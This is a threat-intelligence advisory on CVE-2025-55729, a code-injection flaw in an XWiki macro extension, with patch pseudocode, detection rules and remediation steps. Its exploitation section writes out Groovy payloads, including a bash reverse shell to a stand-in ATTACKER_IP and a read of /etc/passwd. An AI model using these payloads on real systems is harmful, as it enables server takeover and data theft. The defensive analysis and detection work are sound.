CVE-2025-55729

Executive Summary

CVE-2025-55729 is a critical remote code execution (RCE) vulnerability in the XWiki Remote Macros extension, specifically within the ConfluenceLayoutSection macro. The flaw arises from a failure to properly escape the ac:type parameter, allowing an attacker with edit permissions on any page to inject arbitrary XWiki syntax. This injection can be leveraged to execute arbitrary code on the underlying server, leading to full compromise of the XWiki instance. The vulnerability affects all versions from 1.0 up to, but not including, 1.26.5. The CVSS score of 10.0 reflects the ease of exploitation and the potential for complete system takeover. No public proof-of-concept (PoC) or exploit code is currently available, but the risk remains severe due to the low complexity of the attack.

Supply Chain & Package Security

This vulnerability is in an XWiki extension, which is part of the XWiki ecosystem. While not a direct supply chain attack, the extension is distributed through the XWiki Extension Manager, and users who have installed the remote-macros extension are at risk. The patch is available in version 1.26.5, and administrators should prioritize updating this extension.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid account with edit permissions on any page.
• User Interaction (UI): None – No user action is required.
• Scope (S): Changed – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): High – Full read access to all data.
• Integrity (I): High – Full write access to all data.
• Availability (A): High – Full ability to disrupt service.

Threat Level: Critical. The combination of low privileges required, network exploitability, and full impact on confidentiality, integrity, and availability makes this a top-priority vulnerability.

Deep Dive & Mechanics

The vulnerability resides in the ConfluenceLayoutSection macro provided by the XWiki Remote Macros extension. This macro is designed to help migrate content from Atlassian Confluence to XWiki. The macro accepts an ac:type parameter, which is used to specify the type of layout section.

The root cause is a failure to properly escape the ac:type parameter before embedding it into XWiki syntax. When the macro processes this parameter, it directly concatenates the user-supplied value into a string that is later parsed as XWiki syntax. An attacker can inject XWiki syntax by including special characters (e.g., {{, }}, $, %). This injected syntax can then be used to call arbitrary XWiki macros, including those that execute system commands (e.g., {{groovy}} or {{velocity}}).

The attack flow is as follows:

1. An attacker with edit permissions on any page inserts the ConfluenceLayoutSection macro.
2. The attacker sets the ac:type parameter to a malicious payload, such as {{groovy}}Runtime.getRuntime().exec("id"){{/groovy}}.
3. When the page is rendered, the macro processes the parameter without escaping, resulting in the injection of the Groovy macro.
4. The Groovy macro executes the attacker's command on the server.

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.26.5): The vulnerable code likely looks similar to this (pseudocode):

// Vulnerable: Direct concatenation without escaping
String output = "{{confluenceLayoutSection type='" + acType + "'}}";
// ... later parsed as XWiki syntax

Patched Code (version 1.26.5): The fix involves properly escaping the ac:type parameter before embedding it into the XWiki syntax. This is typically done using a dedicated escaping function:

// Patched: Proper escaping
String escapedType = XWikiSyntaxEscaper.escape(acType);
String output = "{{confluenceLayoutSection type='" + escapedType + "'}}";

The exact implementation may vary, but the core principle is to ensure that any user-supplied input is treated as literal text, not as executable syntax.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid XWiki user account with edit permissions on any page.
• The XWiki instance must have the remote-macros extension installed (version 1.0 to 1.26.4).

Exploitation Steps:

1. Log in to the XWiki instance.
2. Navigate to any page you can edit.
3. Insert the ConfluenceLayoutSection macro.
4. Set the ac:type parameter to a malicious payload. For example, to execute the id command:

   {{groovy}}Runtime.getRuntime().exec("id"){{/groovy}}
   

5. Save the page.
6. View the page to trigger the macro execution. The command output may be visible in the page source or logs.

Alternative Payloads:

• Reverse shell: {{groovy}}Runtime.getRuntime().exec("bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/PORT <&1'"){{/groovy}}
• Data exfiltration: {{groovy}}def cmd = "cat /etc/passwd".execute(); println cmd.text{{/groovy}}

Note: No public exploit code is available, but the above technique is straightforward.

Blue Team (Detection & Response)

Detection:

• Monitor XWiki logs for unusual macro usage, especially the ConfluenceLayoutSection macro.
• Look for pages containing suspicious XWiki syntax, such as {{groovy}}, {{velocity}}, or {{script}}.
• Use web application firewalls (WAF) to block requests containing XWiki syntax injection patterns.

Response:

1. Immediately isolate the affected XWiki instance.
2. Review all pages edited by the suspected attacker for malicious macros.
3. Check for any unauthorized user accounts or privilege escalations.
4. Restore from a known good backup if compromise is confirmed.
5. Apply the patch by upgrading to version 1.26.5.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected files in the XWiki data directory (e.g., /var/lib/xwiki/data/).
  • Modified or new .vm or .groovy files in the XWiki extension directories.
• Network:
  • Outbound connections to unknown IP addresses on unusual ports (e.g., 4444, 1337).
  • DNS queries to domains associated with command-and-control (C2) servers.
• Logs:
  • XWiki log entries containing ConfluenceLayoutSection with unusual ac:type values.
  • Application server logs showing execution of Runtime.getRuntime().exec() or similar.
• User Activity:
  • Multiple edits to the same page by a single user in a short period.
  • Edits containing XWiki syntax like {{groovy}} or {{velocity}}.

Detection Engineering

YARA Rule

rule CVE_2025_55729_XWiki_RCE {
    meta:
        description = "Detects XWiki syntax injection in ConfluenceLayoutSection macro"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55729"
    strings:
        $macro = "ConfluenceLayoutSection"
        $injection1 = "{{groovy}}"
        $injection2 = "{{velocity}}"
        $injection3 = "{{script}}"
    condition:
        $macro and any of ($injection*)
}

Sigma Rule

title: XWiki ConfluenceLayoutSection RCE Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-55729 via XWiki syntax injection
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: xwiki
detection:
    selection:
        http.method: POST
        http.url: "*ConfluenceLayoutSection*"
        http.body: "*{{groovy}}*"
    condition: selection
falsepositives:
    - Legitimate use of Groovy macros (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55729 XWiki RCE Attempt"; flow:to_server,established; content:"ConfluenceLayoutSection"; http_uri; content:"{{groovy}}"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update the remote-macros extension to version 1.26.5 or later. This is the only complete fix.
2. Workaround: If immediate upgrade is not possible, disable the ConfluenceLayoutSection macro by removing or renaming the extension file. This will break functionality but prevent exploitation.
3. Access Control: Review and restrict edit permissions on XWiki pages. Only grant edit rights to trusted users.

Long-Term Measures:

• Implement a web application firewall (WAF) with rules to block XWiki syntax injection.
• Regularly audit XWiki extensions and apply security patches promptly.
• Enable detailed logging and monitoring for all macro executions.
• Conduct periodic security reviews of custom XWiki macros.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valters.it.